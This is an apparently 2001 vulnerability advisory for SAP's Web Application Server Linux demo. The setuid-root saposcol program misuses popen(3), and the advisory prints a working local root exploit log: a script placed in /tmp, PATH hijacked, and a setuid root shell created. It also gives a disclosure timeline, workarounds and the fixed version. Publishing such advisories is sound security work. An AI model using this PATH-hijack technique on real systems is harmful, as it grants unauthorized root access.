Topic: SAP R/3 Web Application Server Demo for Linux: root exploit Module: /usr/sap/WAS/SYS/exe/run/saposcol Announced: 2001-04-29 Affects: WAS demo as released on CeBit Vendor: SAP AG, Walldorf, Germany Vendor-Status: informed 2001-04-09 acknoledged 2001-04-10 workaround specified 2001-04-17 estimated fix for 2001-04-27: 2001-04-18 fix available: 2001-04-27
The Web Application Server demo for Linux contains the program saposcol that is setuid root. Due to improper usage of popen(3) it may be possible for local users to gain unauthorized root access.
Below is a complete log of a successful root eploit.
user@jupiter:~$ cat /tmp/expand #!/bin/sh cp /usr/bin/ksh /tmp/.sh chmod 4755 /tmp/.sh echo "done" > /tmp/blubber user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber ls: /tmp/.sh: No such file or directory ls: /tmp/blubber: No such file or directory user@jupiter:~$ export PATH=/tmp:$PATH user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol Starting collector (create new process) user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber -rwsr-xr-x 1 root sapdb 162448 Apr 9 21:00 /tmp/.sh -rw-r--r-- 1 root sapdb 5 Apr 9 21:00 /tmp/blubber
Lokal users may gain unauthorized root access. The path /usr/sap/WAS/SYS/exe/run is not protected with file permissions as well as saposcol itself (this is also documented in SAP's security documentation).
Since the Web Application Server Demo may be installed on systems with local users that may even allow dial up access, it is a real problem.
* The Web Application Server fьr Linux as distributed on CD at the CeBit fair. * The saposcol version 1.4 dated 2001-03-22 (available on ftp://ftp.sap.com/pub/linuxlab/saptools).
I don't have access to other SAP R/3 releases under Linux, so I can't comment on wether or not they are affected. saposcol is used on other Unix platforms as well, it is currently unknown if it is vulnerable there too.
Workaround is to remove the setuid-bit from saposcol as show below:
root# chmod u-s /usr/sap/WAS/SYS/exe/run/saposcol
This may affect some functions of the Web Application Server.
If you trust your wasadm user as well as all SAP R/3 users on your system, you may only want to restrict saposcol to the group sapdb and leave the setuid-bit intact.
root# chgrp sapdb /usr/sap/WAS/SYS/exe/run/saposcol root# chmod a-rx /usr/sap/WAS/SYS/exe/run/saposcol
The version 1.5 of the saposcol program fixes this vulnerability. It is available from: * sapserv* in /general/misc/linuxlab/saptools - you need access to SAP OSS. * ftp.sap.com in /pub/linuxlab/saptools
2001-04-09: SAP has been informed including the exploit. 2001-04-10: SAP has acknowledged the problem and promised a fix in the next version of the saposcol program. 2001-04-17: SAP said: chmod u-s as a workaround. 2001-04-27: Fix available
Shouldn't it be a well known fact that popen(3) is very insecure for setuid programs? Since it calls /bin/sh to start the program a lot of clever tricks with environment variables are possible. SAP might be well advised to read the Secure Programming HOWTO.
SAP has fixed that vulnerability. But I consider saposcol still much to big to give me confidence in its security:
jupiter:(vc/3):~/tmp% ls -l saposcol* -rw-rw-r-- 1 jochen jochen 930298 Apr 27 18:07 saposcol_dbg -rw-rw-r-- 1 jochen jochen 866386 Apr 27 18:07 saposcol_opt
Beside that, feedback from SAP has been timely and useful. ___________
-- Nicht weil die Dinge schwierig sind, wagen wir sie nicht, sondern weil wir sie nicht wagen, sind sie schwierig.